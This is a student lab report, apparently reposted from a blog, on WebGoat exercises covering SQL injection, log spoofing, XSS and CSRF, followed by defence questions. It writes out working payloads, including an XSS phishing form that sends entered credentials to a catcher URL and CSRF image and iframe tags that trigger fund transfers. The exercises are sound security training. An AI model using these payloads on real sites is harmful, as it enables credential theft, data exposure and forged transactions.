20174321王柏舟 Exp9 Web安全基础

目录

一、实践目标

二、实践原理

三、实践过程

四、思考题

五、实践总结


一、实践目标

  • Webgoat实践下相关实验
  • 理解常用网络攻击技术的基本原理

二、实践原理

1.SQL注入攻击

        SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2.XSS攻击

       XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

3.CSRF攻击

       CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。


三、实践过程

(一)WebGoat安装

  • 下载【Java -jar webgoat-container-7.0.1-war-exec.jar】文件。
  • 将Jar包移动至文件目录下输入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat。
  • 浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面。输入用户名密码登录进去,左侧栏显示课程。

 (二)SQL注入攻击

1、Command Injection(命令注入)

  • 目标 能够在目标主机上执行任何系统命令
  • 右键点击复选框选择 Inspect 审查网页元素对源代码 <option> 进行修改

 

  •  View 可以看到网络端口使用情况和IP地址

 

 

 2.Numeric SQL Injection(数字型SQL注入)

  • 原理 当输入的参数为整型如ID、年龄、页码等时,若存在注入漏洞,认为是数字型注入攻击。
  • 目标 在页面尝试插入能够使所有天气数据显示出了的SQL字符串。
  • 方法 用或和【1=1】来使语句永真。单击右键选择【inspect Elemnet】,在<option>的城市编号【value="101】后面加【or 1=1】。

  • 点击【Go!】显示所有城市的天气。

3、Log Spoofing(日志欺骗)

  • 原理 在日志文件中插入脚本,清除在日志中的痕迹。
  • 目标 用户名为admin的用户在日志中显示成功登录。
  • 方法 利用回车【%0d】和换行符【%0a】使用户名在日志中显示为两行。
  • 【User Name】中填入webgoat%0d%0aLogin Succeeded for username: mark4321
  • 点击Login 登录。

4、String SQL Injection(字符串型注入)

  • 原理 当SQL注入输入的参数为字符串时称为字符串型注入。
  • 目标 尝试插入一个SQL字符串,以显示所有信用卡号码。使用“Smith”的用户名。
  • 方法 【'】提前闭合,【1=1】永真和【--】注释。在用户名处输入【Smith' or 1=1--】,点击【Go!】。

 (三)XSS攻击

1.Phishing with XSS(XSS钓鱼)

  • 原理 当用户输入非法HTTP响应时,实现钓鱼工具或向某些官方页面中增加内容。
  • 目标 创建一个 form,要求填写用户名和密码。将数据提交到【http://localhost:8080/WebGoat/catcher PROPERTY=yes&user=catcheUserName&password=catchedPasswordNam】。
  • 方法 在【Search】框输入:
</form>
<script>
function hack()
{ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="
+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
alert("Had this been a real attack... Your credentials were just stolen. 
User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} 
</script>
<form name="phish"><br><br><HR><H3>
This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user">
<br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

 点击【Search】。输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat。

2.Stored XSS Attacks(存储型XSS攻击) 

  • 原理 把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站。
  • 目标 写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 方法在【Title】中任意输入,【Message】输入<script>alert("You've been attacked by 4321qingfeng.");</script>,点击【Submit】提交。

 3.Reflected XSS Attacks(反射型XSS攻击)

  • 原理 使用攻击脚本创建一个URL,通过发布到另一个网站、通过电子邮件或其他方式让受害者点击它,当读取到该URL的时候就会被攻击。
  • 目标 攻击当前的结账页面。
  • 方法 序列码输入<script>alert("I'm qingfeng~");</script>点击【Purchase】。显示内容为script脚本指定的警告框。

(四)CSRF攻击

1、Cross Site Request Forgery(CSRF)

  • 原理 跨站请求伪造是一种让受害者加载一个包含网页的图片,如<img src="http://www.myblank .com/me?transferFunds=5000&to=12345/">当浏览器视图呈现此网页时,将使用指定的参数向【www.myblank.com】的me发出请求,但实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此如果用户对站点进行了身份认证,并且拥有永久或当前会话cookie,那么站点将无法与将其与合法的用户请求缺乏开,通过这种方式,攻击者可以让受害者执行他们本不打算执行的操作,如购买物品,或者网站提供的其他功能。
  • 目标 向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
  • 方法 网页提示【Parameters】中的【src】为323,【menu】为900

 在【Message】中输入

<img src="http://localhost:8080/WebGoat/attack?
Screen=323&menu=900&transferFunds=4321 width="1" height="1"/>
  •  &transferFunds=4321 即转走的受害人的金额。
  • 点击 Submit 在Message List中生成以Title命名的链接,点击显示当前页面并下载这个消息转走用户的4321元,实现CSRF攻击。

2、CSRF Prompt By-Pass

  • 查看确定【scr】和【menu】。

  • 在消息栏中输入
<iframe src="attack?Screen=321&menu=900&transferFunds=4321"> </iframe>
<iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>
  • 点击 Submit 生成以【Title】命名的链接,点击链接攻击成功。

 


 四、思考题

1.SQL注入攻击原理?如何防御?

原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

防御:

1.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

2.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

3.过滤用户输入的检查用户输入的内容中是否有非法内容。

 2.XSS攻击的原理?如何防御?

原理:跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。需要向web页面注入恶意代码,这些恶意代码能够被浏览器成功的执行。

防御:

1.在表单提交或者url参数传递前,对需要的参数进行过滤。

2.过滤用户输入的检查用户输入的内容中是否有非法内容。如<>、”、 ‘;等,严格控制输出。

3.CSRF攻击原理?如何防御?

原理:CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

  防御:验证Http Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

 五、实践总结

1、遇到的问题

启动WebGoat登录后左侧栏没有相应的课程

  • 解决方案 原因是JDK版本不匹配,需要下载JDK1.8并配置好环境变量。
  • 按照这篇文章进行配置,然后重新运行WebGoat,浏览器登陆可以正常显示。

2、实践心得

这次实验用webgoat尝试了XSS攻击、CSRF攻击、SQL注入攻击,过程比较简单,通过本次实验能够感受到这几类攻击的危害性,让我明白了我们一定不要乱点垃圾邮件里的链接、陌生人发的不明链接,在网上购物的时候也要注意保护隐私,否则可能会遭到不法分子的利用,受到财产损失。

猜你喜欢

转载自www.cnblogs.com/w574/p/12974808.html